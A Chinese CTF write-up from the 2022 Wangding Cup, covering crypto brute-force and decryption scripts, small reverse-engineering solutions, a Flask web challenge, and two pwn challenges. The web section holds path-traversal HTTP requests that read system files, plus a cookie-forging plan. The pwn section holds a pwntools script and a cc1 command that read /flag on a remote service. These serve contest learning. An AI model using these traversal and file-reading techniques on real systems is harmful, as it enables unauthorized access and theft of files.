引言

2022 第三届 网鼎杯 网络安全大赛

“网鼎杯”是迄今为止全球规模最大、覆盖面最广的国家级网络安全赛事,被称为网络安全“奥运会”,目前已成功举办两届。2018年第一届“网鼎杯”在北京举办,吸引了来自全国14大关键领域,3200多家单位的7008支队伍、22455人参赛,创当时规模之最;2020年第二届“网鼎杯”在深圳举办,来自全国14大关键领域,6000多家行业单位的14724支战队、50165人线上参赛,2000人超大规模同场竞技、现场空前呈现,为业界呈现了一场全球最大规模的国家级网络安全赛事。

第三届“网鼎杯”在前两届基础上提档升级,由公安部指导,“政产学研用”各领域权威共襄盛举,打造最大规模最高水平的国家顶级赛事。本届大赛以“数字未来,共同守护”为主题,号召各行业各领域共同防御网络威胁,筑牢网络安全防线,保卫国家安全。

青龙组

2022.8.26 9:00-17:00

https://www.wangdingcup.com/

两年一度的国家级网络安全赛事,说来喵喵还是第一次打 2333.

这次和校队的几个师傅组了个队,结果比赛的时候队友不是在实习打工就是忙别的事了,于是佛系看了看题目,Misc 手又坐牢了,看 web 和 crypto 去了结果自闭了,呜呜呜(

赛后和其他师傅交流才知道 pwn 题目都有非预期,可恶啊!!!

这篇就简单写写 writeup 吧。

(又是一篇在草稿箱里长草的文章了,别问了,问就是本来说要复现的但摸了

Misc

签到

安全知识小竞赛

题目和答案都是固定的,多次尝试得到 flag

Crypto

crypto091

小A鼓起勇气向女神索要电话号码,但女神一定要考考他。女神说她最近刚看了一篇发表于安全顶会USENIX Security 2021的论文,论文发现苹果AirDrop隔空投送功能的漏洞,该漏洞可以向陌生人泄露AirDrop发起者或接收者的电话号码和电子邮箱。小A经过一番努力,获得了女神手机在AirDrop时传输的手机号哈希值,但再往下就不会了,你能继续帮助他吗?小A只记得女神手机号是170号段首批放号的联通号码。

Hash:c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc

flag格式:flag{13位电话号码(纯数字,含国家代码)}

查到联通首批170号段为1709,爆破得到结果

import hashlib

check = "c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc"

head = "861709"
for i in range(10000000):
    pNum = head + str(i)
    res = hashlib.sha256(pNum.encode('utf-8')).hexdigest()
    if(res == check):
        print(pNum)
        break
    if((i+1) % 10000 == 0):
        print(i)

crypto162

bob老师给david出了一道线代题目作为作业,要解100组数列。你能帮david完成这道题目么?

附件下载 提取码(GAME)备用下载

from secret import flag
from hashlib import md5,sha256
from Crypto.Cipher import AES
cof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468], [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447], [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477], [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949], [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321], [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410], [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953], [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739], [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237], [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716], [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298], [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057], [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009], [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926], [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351], [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859], [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088], [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558], [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654], [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]]



def cal(i,cof):
    if i <3:
        return i+1
    else:
        return  cof[2]*cal(i-3,cof)+cof[1]*cal(i-2,cof)+cof[0]*cal(i-1,cof)


s = 0
for i in range(100):
    s+= cal(200000,cof_t[i])


s=str(s)[-2000:-1000]
key = md5(s).hexdigest().decode('hex')
check = sha256(key).hexdigest()
verify = '2cf44ec396e3bb9ed0f2f3bdbe4fab6325ae9d9ec3107881308156069452a6d5'
assert(check == verify)
aes = AES.new(key,AES.MODE_ECB)
data = flag + (16-len(flag)%16)*"\x00"
print (aes.encrypt(data).encode('hex'))
#4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87

直接跑,很明显,炸内存了。

于是喵喵各种优化了老半天,最后维护了个三个 int 组成的 list,通过取模来保证内存不会 boom。

exp:

"""MiaoTony"""
cof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468], [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447], [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477], [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949], [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321], [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410], [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953], [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739], [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237], [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716], [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298], [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057], [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009], [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926], [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351], [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859], [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088], [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558], [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654], [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]]

# r = [1,2,3,31502]
r = []
s = 0

def cal(i,cof):
    if i <3:
        return i+1
    else:
        # return  cof[2]*cal(i-3,cof)+cof[1]*cal(i-2,cof)+cof[0]*cal(i-1,cof)
        return  cof[2]*r[(i-3)%3]+cof[1]*r[(i-2)%3]+cof[0]*r[(i-1)%3]


for j in range(100):
    r = [1,2,3]
    print(f'===> {j}')
    for i in range(3, 200001):
        result = cal(i, cof_t[j])
        r[i%3] = result
    with open('result.txt', 'a', encoding='utf-8') as f:
        f.write(f"{j},{str(result)[-2000:]}\n")

最后去拿 key,解密 flag。

然而咱比赛的时候就卡在这里了……

"""MiaoTony"""
s = 0
with open('result0.txt', 'r', encoding='utf-8') as f:
    while True:
        x = f.readline()
        if not x:
            break
        print(x[:15])
        y = x.strip().split(',')[1]
        # print(y, len(y))
        s += int(y)
        # s = int(str(s)[-2000:])
print(s)

s=str(s)[-2000:-1000]
key = md5(s.encode()).hexdigest()
check = sha256(key.encode()).hexdigest()
verify = '2cf44ec396e3bb9ed0f2f3bdbe4fab6325ae9d9ec3107881308156069452a6d5'
assert(check == verify)

# python3
key = b'S29O\x9a\xf3Z\x87\xe5\xbc{?D`xB'
aes = AES.new(key,AES.MODE_ECB)
# data = flag + (16-len(flag)%16)*"\x00"
data = bytes.fromhex('4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87')
print(aes.decrypt(data))
# b'flag{519427b3-d104-4c34-a29d-5a7c128031ff}\x00\x00\x00\x00\x00\x00'


# python2
# key = 'S29O\x9a\xf3Z\x87\xe5\xbc{?D`xB'
# aes = AES.new(key,AES.MODE_ECB)
# data = '4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87'
# aes.decrypt(data.decode('hex'))
# # 'flag{519427b3-d104-4c34-a29d-5a7c128031ff}\x00\x00\x00\x00\x00\x00'

而且 python2 和 3 这里 str 与 bytes 处理也有点不一样……

赛后才知道原来这是 矩阵快速幂,呜呜,吃了不会算法的亏。。

喵喵一定补算法基础.webp

crypto405

flag格式:flag{*}

附件下载 提取码(GAME)备用下载

from Crypto.Util.number import *
from random import randrange
from grassfield import flag

p = getPrime(16)

k = [randrange(1,p) for i in range(5)]

for i in range(len(flag)):
    grasshopper = flag[i]
    for j in range(5):
        k[j] = grasshopper = grasshopper * k[j] % p
    print('Grasshopper#'+str(i).zfill(2)+':'+hex(grasshopper)[2:].zfill(4))

exp:

a = [[0 for i in range(6)] for j in range(42)]
o = open('./output.txt').read().split('\n')
for i in range(42):
    a[i][5] = int(o[i].split(':')[1], 16)
print(a)
import wmath
ps = wmath.find_prime_until(2**16)
ps1 = []
for i in ps:
    if i > 58767:
        ps1.append(i)
print(ps1)
for p in ps1:
    a1 = a
    for j in range(4, -1, -1):
        for i in range(41, 4-j, -1):
            a1[i][j] = (a1[i][j+1] * wmath.inverse(a1[i-1][j+1], p)) % p
    try:
        f = ''
        for i in range(5, 42):
            f += chr(a1[i][0])
        print(f)
    except:
        continue
# flag{749d39d4-78db-4c55-b4ff-bca873d0f18e}

Reverse

rev694

很奇怪,好像很熟悉,但是又很陌生,继续探索,发现线索吧!

附件下载 提取码(GAME)备用下载

l = [75, 72, 121, 19, 69, 48, 92, 73, 90, 121, 19, 112, 109, 120, 19, 111, 72, 93, 100, 100]
print(f"flag{{{''.join(chr(((x ^ 0x50) - 10) ^ 0x66) for x in l)}}}")

rev693

Can u solve it manually? :)

附件下载 提取码(GAME)备用下载

  1. ZlXDJkH3OZN4Mayd
  2. UhnCm82SDGE0zLYO
print(f"flag{{{(lambda YrXQd: '%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c' % (YrXQd[22], YrXQd[19], YrXQd[20], YrXQd[21], YrXQd[28], YrXQd[10], YrXQd[20], YrXQd[7], YrXQd[29], YrXQd[14], YrXQd[0], YrXQd[18], YrXQd[3], YrXQd[24], YrXQd[27], YrXQd[31]))(''.join(hex(ord(x))[2:] for x in 'ZlXDJkH3OZN4Mayd'))}{''.join(chr([159, 141, 72, 106, 196, 62, 16, 205, 170, 159, 36, 232, 125, 239, 208, 3][x] ^ [167, 238, 45, 89, 160, 95, 34, 175, 158, 169, 20, 217, 68, 137, 231, 54][x]) for x in range(16))}}}")

Web

web669

附件下载 提取码(GAME)备用下载

附件里给了源码

import os
import re
import yaml
import time
import socket
import subprocess
from hashlib import md5
from flask import Flask, render_template, make_response, send_file, request, redirect, session

app = Flask(__name__)
app.config['SECRET_KEY'] = socket.gethostname()

def response(content, status):
    resp = make_response(content, status)
    return resp

@app.before_request
def is_login():
    if request.path == "/upload":
        if session.get('user') != "Administrator":
            return f"<script>alert('Access Denied');window.location.href='/'</script>"
        else:
            return None

@app.route('/', methods=['GET'])
def main():
    if not session.get('user'):
        session['user'] = 'Guest'
    try:
        return render_template('index.html')
    except:
        return response("Not Found.", 404)
    finally:
        try:
            updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()
            if not session.get('updir'):
                session['updir'] = updir
            if not os.path.exists(updir):
                os.makedirs(updir)
        except:
            return response('Internal Server Error.', 500)

@app.route('/<path:file>', methods=['GET'])
def download(file):
    if session.get('updir'):
        basedir = session.get('updir')
        try:
            path = os.path.join(basedir, file).replace('../', '')
            if os.path.isfile(path):
                return send_file(path)
            else:
                return response("Not Found.", 404)
        except:
            return response("Failed.", 500)

@app.route('/upload', methods=['GET', 'POST'])
def upload():

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        uploadFile = request.files['file']
        filename = request.files['file'].filename

        if re.search(r"\.\.|/", filename, re.M|re.I) != None:
            return "<script>alert('Hacker!');window.location.href='/upload'</script>"
        
        filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"
        if os.path.exists(filepath):
            return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>"
        else:
            uploadFile.save(filepath)
        
        extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
        if not os.path.exists(extractdir):
            os.makedirs(extractdir)

        pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
        t_beginning = time.time()  
        seconds_passed = 0
        timeout=60
        while True:  
            if pStatus.poll() is not None:  
                break  
            seconds_passed = time.time() - t_beginning  
            if timeout and seconds_passed > timeout:  
                pStatus.terminate()  
                raise TimeoutError(cmd, timeout)
            time.sleep(0.1)

        rarDatas = {'filename': filename, 'dirs': [], 'files': []}
        
        for dirpath, dirnames, filenames in os.walk(extractdir):
            relative_dirpath = dirpath.split(extractdir)[-1]
            rarDatas['dirs'].append(relative_dirpath)
            for file in filenames:
                rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])

        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
            f.write(yaml.dump(rarDatas))

        return redirect(f'/display?file={filename}')

@app.route('/display', methods=['GET'])
def display():

    filename = request.args.get('file')
    if not filename:
        return response("Not Found.", 404)

    if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
            yamlDatas = f.read()
            if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M|re.I):
                rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
                if rarDatas:
                    return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files'])
                else:
                    return response('Internal Server Error.', 500)
            else:
                return response('Forbidden.', 403)
    else:
        return response("Not Found.", 404)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

@app.route('/<path:file>', methods=['GET']) 这个路由很明显可以 跨目录任意读文件,不过要双写绕一下 ../ 的过滤

于是可以读一下模板

GET /..././..././..././templates/result.html HTTP/1.1
Host: eci-2zec0nm2rj6dcz5tbe2j.cloudeci1.ichunqiu.com:8888
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.Ywg4IQ.DdNwVbTWvrj0CBdt1qv8Q1z8Euk
Connection: close

没啥大用途,这里不贴了。

读 hostname

GET /..././..././..././..././..././..././etc/hostname HTTP/1.1
Host: eci-2zec0nm2rj6dcz5tbe2j.cloudeci1.ichunqiu.com:8888
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.Ywg4IQ.DdNwVbTWvrj0CBdt1qv8Q1z8Euk
Connection: close
localhost.localdomain

通过读 /proc/self/exe 下载回来执行,得到版本 Python 3.8.10

GET /..././..././..././requirements.txt HTTP/1.1
Host: eci-2zec0nm2rj6dcz5tbe2j.cloudeci1.ichunqiu.com:8888
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.Ywg4IQ.DdNwVbTWvrj0CBdt1qv8Q1z8Euk
Connection: close
Flask==2.0.3
gunicorn==20.1.0
Jinja2==3.0.3
PyYAML==5.3

于是就本地起个服务,把 app.config['SECRET_KEY'] 设置成靶机的 hostname,再把 session 里的 userupdir 给改了,拿到新的 cookie 打过去

然而用 localhost.localdomain 或者 localhost 或者 localdomain 作为 hostname,打过去都不对。

最后试了 /etc/hosts,草这咋不一样啊,也不懂是不是 docker 起来(他这应该是 k8s)没自动改 /etc/hostname。。

GET /..././..././..././..././..././..././etc/hosts HTTP/1.1
Host: eci-2ze74l0esvdjtqzyk4a2.cloudeci1.ichunqiu.com:8888
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.Ywg4IQ.DdNwVbTWvrj0CBdt1qv8Q1z8Euk
Connection: close
# Kubernetes-managed hosts file.
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
fe00::0	ip6-mcastprefix
fe00::1	ip6-allnodes
fe00::2	ip6-allrouters
10.16.43.198	engine-1

这个 engine-1 才是真正的 hostname。。

后来的步骤应该是构造个绕过那些过滤的 yaml 反序列化 RCE 的文件,利用 unrar 传上去解压

不过好像有个非预期是上传 html 模板 result.html,然后在里面触发 SSTI RCE,最后还要借助服务器上的 dd 命令 suid 权限提权来读 /flag

(过太久了,忘了,摆烂.jpg

Pwn

pwn497

为了安全,小明构建了一个很安全的shell,你决定give he some color look look.

附件下载 提取码(GAME)备用下载

pwn 题赛后才知道有非预期

直接寻找可执行的文件,能直接读 flag。。

使用 pwntools 遍历文件树

from pwn import *
from LibcSearcher import *
from code import interact
# context.log_level = 'debug'
context.arch = 'x86_64'

p = remote('39.107.121.211',37537, timeout=5)

def sl(s):
    global p
    try:
        p.sendline(s)
    except Exception as e:
        p.close()
        p = remote('39.107.121.211',37537, timeout=5)
        p.sendline(s)

def rl():
    global p
    try:
        rv = p.recvline()
        if not rv:
            raise Exception()
        return rv
    except Exception as e:
        p.close()
        p = remote('39.107.121.211',37537, timeout=5)
        return p.recvline()

def ru(s):
    global p
    try:
        rv = p.recvuntil(s)
        if not rv:
            raise Exception()
        return rv
    except Exception as e:
        p.close()
        p = remote('39.107.121.211',37537, timeout=5)
        return p.recvuntil(s)

def list(d):
    sl(f"ls -Al {d}".encode())
    rl()
    files = ru('mini-shell>> ').decode().splitlines()[:-1]
    fs = []
    for file in files:
        file = file.split()
        fname = file[-1] if file[-2] != '->' else file[-3]
        fs.append((os.path.join(d,fname), file[0][0]=='d', file[0][0]=='-' and file[0][9]=='x'))
    return fs

def tryexec(f):
    sl(f"{f} /flag".encode())
    print( ru('mini-shell>> ').decode() )

ru('mini-shell>> ')

allfiles = []
files = []
for file in list("/"):
    if file[1]:
        files.append(file)
    else:
        allfiles.append(file)
while files:
    file = files.pop(0)
    if not file[1]:
        allfiles.append(file)
        if file[2] and "systemd" not in file[0]:
            print(file[0])
            tryexec(file[0])

    else:
        for subf in list(file[0]):
            files.append(subf)

p.interactive()

发现 /lib/gcc/x86_64-linux-gnu/5/ 下的文件 cc1 可执行,用其读 flag

/lib/gcc/x86_64-linux-gnu/5/cc1 -o - /flag  

pwn135

上传的时候 不小心删掉了源码,导致有一部分diff不知道了 ,快来找找吧。

附件下载 提取码(GAME)备用下载

赛后知道,原来直接读 flag 就行。。

a = read('flag')
console.log(a)

小结

喵呜~

其实吧,本来说要多复现几道题的,但是好像已经过了几个月了,题目都忘记是啥了((

就这样吧,摸了

溜了溜了喵(